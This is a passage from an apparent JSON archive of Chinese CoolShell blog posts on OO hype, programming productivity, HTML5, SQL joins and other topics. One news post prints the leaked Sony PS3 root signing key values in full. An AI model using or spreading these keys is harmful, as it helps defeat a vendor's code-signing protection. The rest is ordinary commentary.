a bit of experience, this can be the basis for a very powerful approach to design.\n> \n> \n> 用继承类和虚函数来定义OO在实际上可以让很多OO指导性的东西更能成功一些。在解决问题时，寻找的那些有层级次序的对象，以应对不同对象也可以重用同一个实现，并且对象可以被某个共同的接口来操作而不需要完全相同的类型。在你了解了一些示例和拥有了一些经验后，OO可以成为Design的一个强有力的基础。\n> \n> \n> However, not every concept naturally and usefully fits into a hierarchy, not every relationship among concepts is hierarchical, and not every problem is best approached with a primary focus on objects. For example, some problems really are primarily algorithmic. Consequently, a general-purpose programming language should support a variety of ways of thinking and a variety of programming styles. This variety results from the diversity of problems to be solved and the many ways of solving them. C++ supports a variety of programming styles and is therefore more appropriately called a multiparadigm, rather than an object-oriented, language (assuming you need a fancy label).\n> \n> \n> 然而，并不是每一个对象都自然地有效地适合继承，并不是每一个对象间的关系都是继承，也并不是每一个问题的最佳解决途径需要主要地通过对象。例如，很多问题主要是算法问题（译注：如业务逻辑，数据流等）。我们知道，一个一般性的编程语言都应该有能力支持不同的思路和不同的编程风格。这样，对于问题的多样性，我们可以使用许许多多不同的的方法去解决他们，这就产生了很多的不同解法。C++支持编程风格的多样性，因此，C++叫做“多范式  multi-paradigm”会更合适一些，而不是一个面向对象语言。\n> \n> \n\n\n<———>\n\n\n我个人在看过这些言论后，我先不管“面向对象是不是一个骗局”，不过从某种角度上来看的确是有些问题的，C++、OO、XML、SOA、网格计算等等诸如此类的东西的确被挂上了神圣的光坏。这些东西出来的时候总是只有一种赞美的声音。无论好坏，只有一种声音总是令人恐怖的，无论好坏，有不同的声音总是好的，每当这个社会或是我们的IT界大张旗鼓地鼓吹或是信仰某些东西，却没有任何一点不同意见的时候，我就会感到一种莫名的恐慌。我知道，这是我们从小受到的那种“非黑即白”的价值观教育所致，事物要么全是好的，要么全是不好的。其实任何事物都是有好有不好的，C++，敏捷开发，CMMi，OO，设计模式，重构，等等等等，他们都有好的也有不好的，关键看你怎么来使用（如之前的《[代码重构的一个示例](https://coolshell.cn/articles/3005.html \"代码重构的一个示例\")》）。这个世界只有适合不适合的东西，不会出现放之四海皆准的东西，也不可能出现一种可以解决所有问题的东西，如果有，那么这种东西必然是一种宗教性质的用来洗脑的东西。\n\n\n所以，每当在我身边看到或听到那些只有一种声音有如“电视购物”或是“新闻联播”之类的宣传或是鼓动的时候，我就感到很一种莫名的反感…… 不多说了，还是交给大家来评价吧。我仅以此篇文章献给那些OO-Oriented，Design Pattern-Oriented，Agile-Oriented，Process-Oriented，等等有着宗教信仰一般的人和事。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/4535.html)[一些软件设计的原则](https://coolshell.cn/articles/4535.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/12199.html)[C++ STL string的Copy-On-Write技术](https://coolshell.cn/articles/12199.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [面向对象是个骗局？！](https://coolshell.cn/articles/3036.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-3 一些鲜为人知的编程事实.md",
    "content": "---\nlayout: post\ntitle: 一些鲜为人知的编程事实\ndate: 2010/9/3/ 0:55:37\nupdated: 2010/9/3/ 0:55:37\nstatus: publish\npublished: true\ntype: post\n---\n\n文章来源：<http://dotmac.rationalmind.net/2010/08/some-lesser-known-truths-about-programming/>\n\n\n我的程序员经历让我明白了一些关于软件开发的事情。下面是一些在编程中可能会让人感到诧异的事情：\n\n\n* 一个程序员用了大约只用了10%-20%的时间来编码，而且大多数程序员，无论他的水平如何，其[平均每天只有10-12行的代码](http://stackoverflow.com/questions/966800/mythical-man-month-10-lines-per-developer-day-how-close-on-large-projects)最终会进入最终的软件产品中。这是因为，[优秀的程序员](https://coolshell.cn/articles/222.html)会花费90%的时间来思考、调查、研究最佳的设计。而[糟糕的程序员](https://coolshell.cn/articles/1081.html)则会花费90%的时间来调试代码，并随意地改动代码并尝试让代码工作起来。\n\n\n\n> “A great lathe operator commands several times the wage of an average lathe operator, but a great writer of software code is worth 10,000 times the price of an average software writer.” –Bill Gates\n> \n> \n> “一个优秀的车工其工资是一个普通车工的好几倍，但是一个优秀程序员写出来的代码比一个普通程序员要值钱一万倍。——比尔盖茨”\n> \n> \n\n\n* 一个好的程序员比一个普通的程序员多十倍的生产率。而一个优秀的程序员的生产率则比普通程序员多20-100倍。[这并不是夸张](http://www.devtopics.com/programmer-productivity-the-tenfinity-factor/)（自从上世纪60年代的研究一直表明这是一个事实）。一个糟糕的程序员并不只是没有产出的——他们并不仅是完成不不工作，而且还会制造出大量的让别人头痛并要去解决的麻烦。\n\n\n\n* 优秀的程序员花少量的时间写代码——那些代码都会出现在最终的产品中。那些花大量的时间写代码的程序员其实是很懒惰、很无知，或是很自大的，以至于不能使用已经存在了的解决方案来解决已有的问题。优秀的程序员精通于对通用的模式的识别和重用。好的程序员并不害怕持续地重构/重写自己的代码，直到达到最理想的方案。糟糕的程序员的代码基本上都缺少概念一致性，代码冗长，缺少层次和模式，所以，也就很难被重构。所以，重写他们的代码要比重构他们的代码要容易得多。\n\n\n* 软件和其它一切事物一样，都遵循着一致性规则。持续得更改只会让软件变成一潭烂泥，其破坏了原始设计的概念一致性。软件产品变成泥沼是不可避免的事情，但是因为程序员不考虑软件概念一致性而导致软件产品更为快速地成为泥沼，这种速度快得可能 会在软件产品还没有完成时，软件产品已经变得没有价值。设计概念一致性的失败通常都会导致软件项目的失败（而第二大导致软件项目失败的原因则是发布的软件并不是用户想要的）。软件变成烂泥的速度正在呈指数级下降，太多的项目在被完结前都面临着激增的时间和成本。\n\n\n* 一个 [2004 研究报告](http://www.softwaremag.com/L.cfm?Doc=newsletter/2004-01-15/Standish) 指出，大多数的软件项目 (51%) 都会在关键环节出问题。而15%的项目则是完全失败，当然，这比1994年有了很大的进步，当时完全失败的项目是是31%。\n\n\n* 虽然，几乎所有的软件产品都有些开发团队，但其并不是民主的。通常，只有一个人负责设计，而剩下的人去实现细节。\n\n\n* 编程是一个辛苦的工作。其是一个巨烈的脑力劳动。好的程序员24×7地在思考他们的工作，他们一般都在在洗澡和梦中编写软件中最重要的代码。因为最重要的工作只能在键盘之外完成，软件项目不可能因为加班或是[加人](http://en.wikipedia.org/wiki/Brooks's_law)来加快进度。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [一些鲜为人知的编程事实](https://coolshell.cn/articles/2909.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-3 消费者的消费观.md",
    "content": "---\nlayout: post\ntitle: 消费者的消费观\ndate: 2010/9/3/ 9:13:43\nupdated: 2010/9/3/ 9:13:43\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n原文：<http://theoatmeal.com/blog/apps>\n\n\nhttp://s3.amazonaws.com/theoatmeal-img/comics/apps/1.png\n\n\n\n> **星巴克**：这是你的venti-soy-whipped-frappa-lardy-lattechino，也就$7.15，你需要加点糖吗？只需要再加$1.95。\n> \n> \n> **消费者**：绝对要加。让我们的血糖值高到月亮上！\n> \n> \n\n\n\nhttp://s3.amazonaws.com/theoatmeal-img/comics/apps/2.png\n\n\n\n> **票房**：先生，想看“断背3D吗”？一张票只要$13！\n> \n> \n> **消费者**：没问题！另外，有优惠吗？我想花$20再买点爆米花和碳酸饮料。\n> \n> \n\n\nhttp://s3.amazonaws.com/theoatmeal-img/comics/apps/3.png\n\n\n\n> **Apple**：新的iPhone 4G，加上税要$425.19\n> \n> \n> **消费者**：只要$425？！这仅相当于我老婆把背上的毛给去掉价格的1/10！拿钱！花这点钱连想不用想。\n> \n> \n\n\nhttp://s3.amazonaws.com/theoatmeal-img/comics/apps/4.png\n\n\n\n> **Apple**：iPad 3GS 加一个保护盒，一共$875.24\n> \n> \n> **消费者**：$875？这就些？啊，我要两个，一个给我，一个给我身边这个有毛的朋友。\n> \n> \n\n\n[http://s3.amazonaws.com/theoatmeal-img/comics/apps/5.png](http://theoatmeal.com/)\n\n\n\n> **网站**：下载应用：HorseHunter Extreme！点击OK确认你想花$0.99买这个应用。\n> \n> \n> **消费者**：什么？什么？什么？！99美分？！靠，我不知道……这么多钱啊！我应该把我的会技师找来，或是明天再说吧。\n> \n> \n\n\n（完）\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5089.html)[10个必需的iOS开发工具和资源](https://coolshell.cn/articles/5089.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/2719.html)[苹果开发工具Xcode 4 第二预览版](https://coolshell.cn/articles/2719.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/3589.html)[食客还是大厨](https://coolshell.cn/articles/3589.html)\n* [![2000年的iMac和2010年的iPhone](../wp-content/uploads/2010/06/5176XS40F9L._SL500_AA300_-150x150.jpg)](https://coolshell.cn/articles/2507.html)[2000年的iMac和2010年的iPhone](https://coolshell.cn/articles/2507.html)\n* [![iPad进化图](../wp-content/uploads/2010/02/ipad-150x150.jpg)](https://coolshell.cn/articles/2086.html)[iPad进化图](https://coolshell.cn/articles/2086.html)\nThe post [消费者的消费观](https://coolshell.cn/articles/2913.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-6 Did You Know_.md",
    "content": "---\nlayout: post\ntitle: Did You Know?\ndate: 2010/9/6/ 15:8:53\nupdated: 2010/9/6/ 15:8:53\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个短片可能Too Old了，不过我今天才看到，很不错，转到这里，让更多的人都能看到。\n\n\n这是个信息爆炸飞速发展的年代，逆水行舟，不进则退。在这一组组的数据中让我们这班新生代年轻人反思自身所要背负和面对的压力和挑战！极有深度的短片，整理出来的数据实在是叫人震惊，生活在这个科技高速发展的时代既是种荣幸，又很有压力，对“学校里教得知识很多就是过时的”深有体会！！\n\n\n**Did You Know? 3.0版**\n\n\n\n**Did You Know? 4.0版**\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/12192.html)[C/C++返回内部静态成员的陷阱](https://coolshell.cn/articles/12192.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/37.html)[【引文】如何用Python往Google Spreadsheet上写数据](https://coolshell.cn/articles/37.html)\n* [![10个基于Ajax的PHP Webmail客户端](../wp-content/uploads/2009/03/webmail1-150x150.jpg)](https://coolshell.cn/articles/154.html)[10个基于Ajax的PHP Webmail客户端](https://coolshell.cn/articles/154.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1857.html)[C 语言整型谜题](https://coolshell.cn/articles/1857.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/732.html)[Glassfish ESB 的教程](https://coolshell.cn/articles/732.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/209.html)[C++和JAVA传统中积极的一面](https://coolshell.cn/articles/209.html)\nThe post [Did You Know?](https://coolshell.cn/articles/2917.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-9 你准备使用 HTML 5 吗？.md",
    "content": "---\nlayout: post\ntitle: 你准备使用 HTML 5 吗？\ndate: 2010/9/9/ 6:27:6\nupdated: 2010/9/9/ 6:27:6\nstatus: publish\npublished: true\ntype: post\n---\n\n现在做Web上的效果，主要是有三种方法，Flash，Javascript 和 HTML5。Flash就不用多说了，Javascript的效果也[越来越猛](https://coolshell.cn/articles/2785.html)了，如果配上HTML5，那就如虎添翼了。先看看下面的这个HTML5的演示。其使用了HTML5的Canvas元件，把鼠标移上去看看吧（最好在Chrome下浏览）。源链接在[这里](http://rawkes.com/experiments/google-bouncing-balls-canvas/)（在这里展示有点小，还是在那边全屏的看好一点）\n\n\n\n下面是一个大图，来自[这里](http://www.focus.com/images/view/11905/)（点击看大图）。其“抱怨”了为什么HTML怎么都要管？呵呵。其分成三块：\n\n\n\n* 第一块是关于HTML5的功能，你可以查看本站的[这篇文章](https://coolshell.cn/articles/2829.html)以查看相关的HTML5的细节。\n* 第二块说明了各种浏览器对HTML5的支持，从图中我们可以看到Chrome是支持的最好的。\n* 第三块从价格，功能，应用和效率上比较了HTML5和Flash，可参看本站的《[HTML5 和 Flash 之争](https://coolshell.cn/articles/2735.html \"HTML5 和 Flash 之争\")》。\n\n\n[![](../wp-content/uploads/2010/09/WTF_HTML51-274x300.jpg \"为什么HTML什么都要干？\")](https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51.jpg)为什么HTML什么都要干？（点击看大图）\n比较方面，关于价格，虽然Flash Player是免费的，但是开发工具是收费的，最重要的是，HTML5不是公司的产品，不存在垄断。在功能方面，目前当然是Flash很强，因为其图形处理能力很强，这点HTML5不如。在通用性方面，Flash是以插件的方式，而HTML5是浏览器支持的。当然，在性能方面，Javascript的方式对于CPU消耗地太猛了，这点Flash优势就很大了。\n\n\nHTML5还是Flash，你觉得哪个会更好呢？  \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/2735.html)[HTML5 和 Flash 之争](https://coolshell.cn/articles/2735.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\nThe post [你准备使用 HTML 5 吗？](https://coolshell.cn/articles/2926.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-10 Sony PS3 Root Key 被破解.md",
    "content": "---\nlayout: post\ntitle: Sony PS3 Root Key 被破解\ndate: 2011/1/10/ 1:2:28\nupdated: 2011/1/10/ 1:2:28\nstatus: publish\npublished: true\ntype: post\n---\n\n著名的黑客George “GeoHot” Hotz（其也帮助破解了iPhone）宣称破解了Sony P3的root key（也称front door key），并将这个key公布于 <http://www.geohot.com/> （墙）。不但发布了root key，还做了一个hello world。Youtube上也有一个相关的视频：<http://www.youtube.com/watch?v=UkLSXsCKDkg>\n\n\n\n```\nerk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 1B\nriv: 47 EE 74 54 E4 77 4C C9 B8 96 0C 7B 59 F4 C1 4D\npub: C2 D4 AA F3 19 35 50 19 AF 99 D4 4E 2B 58 CA 29 25 2C 89 12 3D 11 D6 21 8F 40 B1 38 CA B2 9B 71 01 F3 AE B7 2A 97 50 19\n R: 80 6E 07 8F A1 52 97 90 CE 1A AE 02 BA DD 6F AA A6 AF 74 17\n n: E1 3A 7E BC 3A CC EB 1C B5 6C C8 60 FC AB DB 6A 04 8C 55 E1\n K: BA 90 55 91 68 61 B9 77 ED CB ED 92 00 50 92 F6 6C 7A 3D 8D\n Da: C5 B2 BF A1 A4 13 DD 16 F2 6D 31 C0 F2 ED 47 20 DC FB 06 70\n```\n\n之所以叫“front door key”，其是相对于“back door” 而言，传统的破解一般是通过软件的某个 bug或是后门来破解。而这次的PS3走的是前门，这就是说——这已经不是破解了，这是完全意义上的PS3正版了。\n\n\n为什么呢。这和PS3的开发有关。其很像Symbian 的Sign，也就是说，游戏开发商要想让他们的游戏在PS3上发布，其需要把游戏通过法律流程交给Sony，然后被Sign上一个key，就可以成为正式的发行版并可在所有用户的PS3上运行了。所以，这个key是PS3到今天没有盗版游戏的关键。不过随着这个key被找到，这意味着任何人都可以在PS3上发布软件了。\n\n\n最要命的是，这个Key和PS3的硬件绑定，也就是说，**如果Sony要阻止这个事的话，无法通过升级firmware完成，必需更换硬件！！**\n\n\n\n目前，SONY正式对PS3的Root Key被公布导致可以进行自制系统开发的问题[进行回应](http://www.next-gen.biz/news/sony-responds-to-ps3-hacks)。SONY表示目前正在进行相关调查，问题会通过网络更新进行解决，具体情况涉及信息安全问题不便透露。\n\n\n不过之前黑客集团表示除非Sony出新硬件否则无法修正这一情况，Sony应该会接受这一事实。\n\n\n而最新的[PS3 Custom Firmware Creator](http://www.ps3-hacks.com/2011/01/04/ps3-custom-firmware-creator-released-permanently-add-install-pkgs-to-the-xmb/)应该是把PS3送上断头台了。而且已经证实，3.55的玩友可以安装3.55的CFW自制系统，安裝之后可以正常运行正版游戏，可以通过选项菜单中多出的pkg安裝功能，安裝u盘里通过电脑下载的游戏更新补丁或是游戏的试玩版。**现在的PS3就像一个PC机，等待着各种不受Sony控制的软件的到来……**\n\n\n（另：Freebsd[宣布](http://lists.freebsd.org/pipermail/freebsd-current/2011-January/022104.html)支持索尼的游戏机PS3，支持的型号是索尼Playstation 3 Fat版，固件版本号< 3.21 （最新的固件版本是[3.55版](http://us.playstation.com/support/systemupdates/ps3/index.htm)），必须能网络启动。不过，因为黑客已经破译了root key，并允许创作自制固件，因此未来Freebsd或能支持所有版本的PS3。）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1857.html)[C 语言整型谜题](https://coolshell.cn/articles/1857.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2043.html)[PI小数点位数的新纪录](https://coolshell.cn/articles/2043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/1432.html)[编译vim解决中文支持](https://coolshell.cn/articles/1432.html)\n* [![Linux Distribution Timeline](../wp-content/uploads/2009/03/gldt92-150x150.png)](https://coolshell.cn/articles/85.html)[Linux Distribution Timeline](https://coolshell.cn/articles/85.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\nThe post [Sony PS3 Root Key 被破解](https://coolshell.cn/articles/3453.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-11 图解SQL的Join.md",
    "content": "---\nlayout: post\ntitle: 图解SQL的Join\ndate: 2011/1/11/ 0:44:9\nupdated: 2011/1/11/ 0:44:9\nstatus: publish\npublished: true\ntype: post\n---\n\n对于SQL的Join，在学习起来可能是比较乱的。我们知道，[SQL的Join语法](http://en.wikipedia.org/wiki/Join_(SQL))有很多inner的，有outer的，有left的，有时候，对于Select出来的结果集是什么样子有点不是很清楚。Coding Horror上有[一篇文章](http://www.codinghorror.com/blog/2007/10/a-visual-explanation-of-sql-joins.html)（实在不清楚为什么Coding Horror也被墙）通过 文氏图 [Venn diagrams](http://en.wikipedia.org/wiki/Venn_diagram) 解释了SQL的Join。我觉得清楚易懂，转过来。\n\n\n假设我们有两张表。\n\n\n* **Table A** 是左边的表。\n* **Table B** 是右边的表。\n\n\n其各有四条记录，其中有两条记录是相同的，如下所示：\n\n\n\n```\nid name       id  name\n-- ----       --  ----\n1  Pirate     1   Rutabaga\n2  Monkey     2   Pirate\n3  Ninja      3   Darth Vader\n4  Spaghetti  4   Ninja\n```\n\n下面让我们来看看不同的Join会产生什么样的结果。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| \n```\nSELECT * FROM TableA\n**INNER JOIN** TableB\nON TableA.name = TableB.name\n\nid  name       id   name\n--  ----       --   ----\n1   Pirate     2    Pirate\n3   Ninja      4    Ninja\n```\n\n**Inner join**\n产生的结果集中，是A和B的交集。 | Venn diagram of SQL inner join |\n| \n```\nSELECT * FROM TableA\n**FULL OUTER JOIN** TableB\nON TableA.name = TableB.name\n\nid    name       id    name\n--    ----       --    ----\n1     Pirate     2     Pirate\n2     Monkey     null  null\n3     Ninja      4     Ninja\n4     Spaghetti  null  null\nnull  null       1     Rutabaga\nnull  null       3     Darth Vader\n```\n\n**Full outer join** 产生A和B的并集。但是需要注意的是，对于没有匹配的记录，则会以null做为值。 | Venn diagram of SQL cartesian join |\n| \n```\nSELECT * FROM TableA\n**LEFT OUTER JOIN** TableB\nON TableA.name = TableB.name\n\nid  name       id    name\n--  ----       --    ----\n1   Pirate     2     Pirate\n2   Monkey     null  null\n3   Ninja      4     Ninja\n4   Spaghetti  null  null\n```\n\n**Left outer join** 产生表A的完全集，而B表中匹配的则有值，没有匹配的则以null值取代。 | Venn diagram of SQL left join |\n| \n```\nSELECT * FROM TableA\nLEFT OUTER JOIN TableB\nON TableA.name = TableB.name\n**WHERE TableB.id IS null** \n\nid  name       id     name\n--  ----       --     ----\n2   Monkey     null   null\n4   Spaghetti  null   null\n```\n\n产生在A表中有而在B表中没有的集合。 | join-left-outer.png |\n| \n```\nSELECT * FROM TableA\nFULL OUTER JOIN TableB\nON TableA.name = TableB.name\n**WHERE TableA.id IS null\nOR TableB.id IS null**\nid    name       id    name\n--    ----       --    ----\n2     Monkey     null  null\n4     Spaghetti  null  null\nnull  null       1     Rutabaga\nnull  null       3     Darth Vader\n```\n\n产生A表和B表都没有出现的数据集。 | join-outer.png |\n\n\n还需要注册的是我们还有一个是“交差集” **cross join**, 这种Join没有办法用文式图表示，因为其就是把表A和表B的数据进行一个N\\*M的组合，即笛卡尔积。表达式如下：\n\n\n\n```\nSELECT * FROM TableA\n**CROSS JOIN** TableB\n```\n\n这个笛卡尔乘积会产生 4 x 4 = 16 条记录，一般来说，我们很少用到这个语法。但是我们得小心，如果不是使用嵌套的select语句，一般系统都会产生笛卡尔乘积然再做过滤。这是对于性能来说是非常危险的，尤其是表很大的时候。\n\n\n***更新:2014年3月30日***\n\n\n![](../wp-content/uploads/2011/01/SQL-Join.jpg)\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3433.html)[6个有用的MySQL语句](https://coolshell.cn/articles/3433.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/1957.html)[Web程序的最佳测试数据](https://coolshell.cn/articles/1957.html)\nThe post [图解SQL的Join](https://coolshell.cn/articles/3463.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-17 Linux的cycle日历（你懂的）.md",
    "content": "---\nlayout: post\ntitle: Linux的cycle日历（你懂的）\ndate: 2011/1/17/ 0:42:9\nupdated: 2011/1/17/ 0:42:9\nstatus: publish\npublished: true\ntype: post\n---\n\n这是一个开源项目：<http://cycle.sourceforge.net/>，其是用python写的。在项目的主页上说，这是一个给妇女用的日历程序，叫cycle，周期，给妇女的，我不多说了，你懂的。下面是一些介绍（请大家注意学习相关的英文单词）\n\n\n当然，这个小程序不单单只是查看妇女的“周期”（menstruation），其还提供了以下的功能：\n\n\n* 第一次的周期 – 在日历上显示为粉色。menstruation周期长度由用户输入的六次周期取平均值确定。\n* 排卵期（Ovulation day）- 在日历上显示为亮绿色，\n* 受精期 （Fertile period）- 在日历上显示为绿色\n* 安全期（Safe Sex）\n* 预产期（Date of birth）\n* 还允许你记一些notes – 医生建议你服用一些荷尔蒙避孕药（hormonal contraceptive）\n\n\n下面是屏幕截图 ——\n\n\n[http://cycle.sourceforge.net/scr1_m.png](http://cycle.sourceforge.net/scr1.png)\n\n\n注意以下的免责条款：\n\n\n* 本程序并不能成为一种避孕的方法。\n* 本程序也不能阻止各种性传染病，如：AIDS\n* 本程序更不能取代你的妇科医生。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 